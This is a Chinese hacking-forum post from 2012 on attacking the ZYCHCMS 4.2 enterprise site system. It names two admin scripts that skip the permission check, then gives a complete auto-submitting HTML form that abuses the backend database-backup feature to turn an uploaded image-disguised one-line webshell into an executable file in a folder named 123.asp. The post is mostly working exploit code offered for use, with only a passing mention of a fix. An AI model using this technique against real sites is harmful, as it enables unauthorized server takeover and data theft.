找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1740|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

- O; E1 i' `% l3 }9 W. ?/ X8 k3 A: U  @& s+ t* h
1 ]/ e) Z9 P9 w4 @/ S  Y

; i% y5 n& Q' A+ W* L: _! Y影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)7 h& |$ c+ V1 M" m" F& S, O
①SQL注射漏洞
7 F" o( Z" K* W) ~; p. {# D 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp# P6 k) F4 i& a% M7 Z5 D: o
漏洞原因:未过滤' Q  Z; I+ u0 F8 K) {! w* }. p
漏洞代码:2 g5 I' e5 P8 \8 r9 x
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
, m5 f# `  f- X$ k+ I 修复方法:在文件开头加入代码
: Q" ~8 E, p+ n
0 I# Z' c, u: _9 a/ `0 h' K- g# Z# ]5 ?% _2 k- v9 [' m* G% r
②后台拿WBSHELL
9 i/ f& }6 H  \ 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
( J- k+ J/ p, \ 这里在网上找了一个,改了下,将就着用。4 ?  _  K* T$ b+ \" B& T7 Z
以下是代码本地提交代码+ R8 T, ?% R, F( P5 R

5 u0 @/ ?2 b- H& \: u$ a8 u
+ W$ a/ G' a* @2 f3 r8 f<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
* K- [. b0 j' R2 L! r0 e/ b$ ]% q6 N <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>2 @& V$ Y& y* Z
<tr>3 T+ G" m  |1 ^* Z
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>" Q+ s( m% t  w+ E1 }  O0 B
</tr>
+ Q4 X8 z+ U/ |- L4 G# ` <tr>
9 J+ |6 e3 K. A$ O' f- K. Y <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
9 r: M' @& `' l# ?# I+ A </span>
% J* |2 v5 z! m5 I <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >7 |. v% \$ r$ x& S/ o3 p. t
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >! e: X' c* r8 N/ G7 p$ H7 M
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
8 ?- ]% O  H1 [2 P <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
# I! }6 |: D5 V <div align=”left”>+ l# `3 E6 s: H; i
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
( e1 m! h/ E% u+ C  C <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>  o3 A1 k* S  p6 ]9 G
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />6 v! i- Q* r- ^: w! w
</div></td>
  z# Z2 g6 \9 n! S- D4 [ </tr>
) E2 Q3 U$ S. @1 ` <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
% ?6 n2 j- Y3 F) L) z4 U, X, r <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
/ ~6 [/ V9 C& Y5 q <td class=”td”><div align=”left”>' X- k: a$ w/ U4 s2 J
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
6 w! f2 [, ~! S6 ^ [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
2 _* c( Y3 y: o- O </tr>
0 _% ~$ C, L. u  o <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
* a' c$ G2 N* d2 X <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
6 H3 E0 {9 I; e7 Y* i0 I <td class=”td”><div align=”left”>
$ K& ~- y3 w1 ~5 K1 w <input type=”submit” value=”确定备份” class=”btn”8 ?; V" n: ^6 j4 L1 ]% A) v2 R; P
</div></td>
; Z; ?6 S% m2 S" |( o" `( K </tr>+ @% h; p  l- ]  X: }$ T
</table></td></tr></form>
* p" G/ u! u2 y# M </table>, e, }# t' Y9 q, X
</td>
7 `1 Q, G* V% E, F, Z </tr>5 Y% W; _" i9 q* m1 |1 A" R: F
</table>
5 Q+ U1 U& t6 [+ P <script>1 @9 \) }. y" N, W% l
document.all.add.submit();3 T; H7 ?+ Z! b
</script># j& f  l. _0 d
; z8 }7 c: p* k* L

& a+ b6 n) _* C4 m! b$ Y$ f! Z
9 H+ o! P- u6 r$ `* ^* b/ U. f  h( c; F, w* i0 K
2 K1 p. c, {3 ?' j3 E7 p1 K9 P( a9 ~

7 q% \7 V1 Y* T' ]
4 F0 i! F( L* w! [7 X, C5 W% u# \
& E/ v0 ]" W) J- m$ s6 N* O; p% y
6 k+ d  G( q+ N4 g" T3 s* u; x0 W& {) J2 W5 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表